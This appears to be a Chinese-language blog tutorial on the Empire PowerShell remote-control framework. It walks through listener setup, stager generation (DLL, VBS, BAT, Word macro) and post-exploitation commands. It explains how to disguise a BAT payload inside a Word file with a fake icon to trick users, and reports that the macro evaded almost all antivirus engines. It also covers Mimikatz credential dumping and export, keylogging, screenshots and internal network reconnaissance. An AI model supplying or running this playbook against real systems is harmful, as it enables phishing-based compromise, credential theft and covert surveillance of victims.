PowerShell滲透–Empire

  • 2019 年 11 月 20 日
  • 筆記

0x00 簡介

Empire是一款針對Windows平台的,使用PowerShell腳本作為攻擊載荷的滲透攻擊框架代碼具有從stager生成,提權到滲透維持的一系列功能,無需powershell.exe就可以使用powershell的代理功能還可以快速在後期部署漏洞利用模塊,內置模塊有鍵盤記錄,Mimikatz,繞過UAC,內網掃描等,可以躲避網絡檢測和大部分安全防護工具,類似於Meterpreter,是一個基於PowerShell的遠控木馬(www.powershellempire.com)

0x02 安裝

git clone https://github.com/EmpireProject/Empire.git

0x03 使用

help 查看幫助

  1. 設置監聽
  2. listeners #進入監聽線程界面
  3. uselistener #設置監聽模式
  4. info #查看具體參數設置
  5. set #設置相應參數
  6. execute #開始監聽

uselistener 用來設置監聽模式

uselistener <tab> <tab> 查看可以使用的監聽模式

uselistener http 採用http監聽模式,輸入info 查看具體參數設置

Required 為 true 的參數都是需要設置的

set Name Micr067 #設置任務名稱

set Host 192.168.190.133 # 設置主機IP(Empire 所在服務器的地址)

execute # 執行

參數設置好後,可以在執行之前使用info 檢查參數配置是否正確

# 需要注意的是Empire不同於metasploit,Empire命令是區分大小寫的

輸入back可以返回上一層,也就是listeners 界面,

list 列出當前激活的 listener

  1. 生成木馬
  2. usestager #設置模塊

使用 usestager 命令設置生成木馬的模塊

usestager <tab> <tab> 查看所有可使用的木馬生成模塊

其中 multi 為通用mok,osx 為 Mac操作系統的模塊,windows 就是windows的模塊。

(1) dll 模塊

usestager windows/dll # 選擇dll模塊

info 查看一下需要設置的參數信息

這裡我們需要設置一下listener,然後 execute 執行,木馬生成目錄 /tmp/launcher.dll

(2) launcher

如果只需要簡單的powershell 代碼,在設置完相應的參數後,可直接在監聽器中輸入命令 launcher <language> <Listener Name> 生成base64編碼的代碼,

輸入back 返回到 Listener 界面,輸入 launcher powershell Micr067 來生成一個payload

然後將生成的payload 在目標機器上執行,即可獲得 session

可以看到Empire 已經上線了一個名為 GL8DBS32 的主機,

輸入 agents 可以查看已經獲得的session,這裡的agents 相當於 msf 中的 sessions -l

此時的代理名GL8DBS32 是隨機生成的,為了方便記憶,我們可以通過rename對其重命名

rename <Old Name> <New Name>

rename GL8DBS32 PC2

(3) launcher_vbs

usestager windows/launcher_vbs # 設置launcher_vbs木馬

set Listener micr067

execute

當在目標機器上執行vbs木馬,即可獲得session,

當然也可以在配置好參數後返回 listener 通過 launcher powershell micr067 生成base 64代碼運行

(4) launcher_bat

usestager windows/launcher_bat

set Listener micr067

execute

在目標主機上運行生成的launcher.bat,成功獲得一個新的session

為了增加迷惑性,可以將bat文件插入一個office文件(word/excel)中,依次選擇插入—對象—選擇「由文件創建」—通過瀏覽「選定bat文件」—勾選「顯示為圖標」—「更改圖標」從而獲得更好的迷惑性,

將圖標更改為word圖標,更改文件顯示名,可以獲得更好的迷惑性,此處沒word圖標就湊活着用吧!

額,要是改為word圖標簡直完美。

當目標機器用戶點擊了word中的附件,即可觸發運行bat,kali成功又獲得一個新session

(5)Macro 木馬

usestager windows/macro

set Listener micr067

execute

將生成的宏文件添加到office文件中,打開word文檔,點擊「試圖」,選擇「宏」,「宏名」隨便起,宏位置選擇當前office文件,單擊「創建」會彈出VB編輯界面。

將原來的代碼刪除,將macro宏文件代碼複製粘貼到其中,另存為「word 97-2003文檔」

word 97-2003文檔

將修改好的word發送到目標機器,當用戶點擊觸發即可運行宏病毒,當用戶點擊啟用宏內容時,

服務端將接收到session

由於在物理機上安裝有殺毒軟件,在物理機上打開word,服務端成功獲得session,短時間內殺軟未報毒,

當用戶點擊了「啟用內容」按鈕,下次打開word會自動運行宏病毒,不再彈出提示。

殺軟反應還是很遲鈍的,慢了7,8分鐘,應該是本地病毒庫沒有匹配到特徵在雲端分析的

將樣本上傳virustotal進行分析,57家只有一家能夠準確識別該宏病毒,

除了白利用,這種效果還是很理想的。

使用微步進行分析,檢出率為0

  1. 連接主機
  2. agents #列出當前已連接的主機
  3. interact #連接主機
  4. remove stale #刪除失效主機
  5. help agentcmds #查看常用命令
  6. 使用CMD命令時,要使用」shell+命令」

使用agents 列出當前已經連接的主機,Username帶(*)說明是已經提權成功的主機。

interact <主機名> # 使用 interact 連接主機,主機名可以用tab補全

使用 help agentcmds 查看常用命令

嘗試一下Empire內置的 mimikatz 模塊,輸入 mimikatz 命令,使用mimikatz 需要管理員權限,由於物理主機裝了殺軟,提權會被殺軟攔截,這裡使用的是payload域內的一台 win7 靶機。

creds 命令可以自動過濾、整理出獲取到的用戶密碼。

當內網抓取到的密碼比較多,比較亂的時候,可以通過 命令對 hash/plaintext 進行排列、增加、刪除、導出等操作,

將 憑證 導出 ,輸入 creds export /root/pc2.csv

pc2.csv.csv

在實際滲透中,總會出現部分主機會話丟失或者失效的情況,

使用 list stale 命令 列出已經丟失的反彈主機,然後輸入remove stale 命令刪除已經失效的主機

其他命令:

Bypass UAC 提權、SC 截圖、Download 下載文件 、Upload 上傳文件。。。

  1. 信息收集
  2. search module #搜索需要使用的模塊
  3. usemodule powershell/collection+Tab #查看完整列表
  4. 常用模塊
  5. usemodule powershell/collection/screenshotàexecute #截屏
  6. usemodule powershell/collection/keyloggeràexecute #鍵盤記錄
  7. usemodule powershell/collection/clipboard_monitor #剪貼板記錄
  8. usemodule powershell/situational_awareness/network/powerview/share_finder #列出域內所有共享
  9. usemodule powershell/situational_awareness/host/winenum #查看本級機用戶,域組成員系統基本信息等

usemodule <tab> <tab> # 查看所有模塊

usemodule powershell/collection/ <tab> <tab> # 查看collection模塊具體功能

屏幕截圖

usemodule powershell/collection/keylogger

截屏結果保存在目錄 Empire/downloads/主機名/screenshot

鍵盤記錄

usemodule powershell/collection/keylogger

set Agent PC2

execute

鍵盤記錄結果保存在目錄 Empire/downloads/主機名/agents.log

列出域內所有共享

powershell/situational_awareness/network/powerview/share_finder

查看本機用戶,域組成員系統基本信息

usemodule powershell/situational_awareness/host/winenum

列舉系統中所有有用信息,報告各種日誌、RDP登錄信息等

usemodule powershell/situational_awareness/host/computerdetails*

ARP掃描

usemodule powershell/situational_awareness/network/arpscan

set Agent PC2

set range 192.168.190.1-192.168.190.254

execute

dns信息獲取

usemodule powershell/situational_awareness/network/reverse_dns

顯示當前內網dns服務器地址

usemodule powershell/situational_awareness/host/dnsserver

查找域管登錄服務器IP

usemodule powershell/situational_awareness/network/powerview/user_hunter

作者:Micr067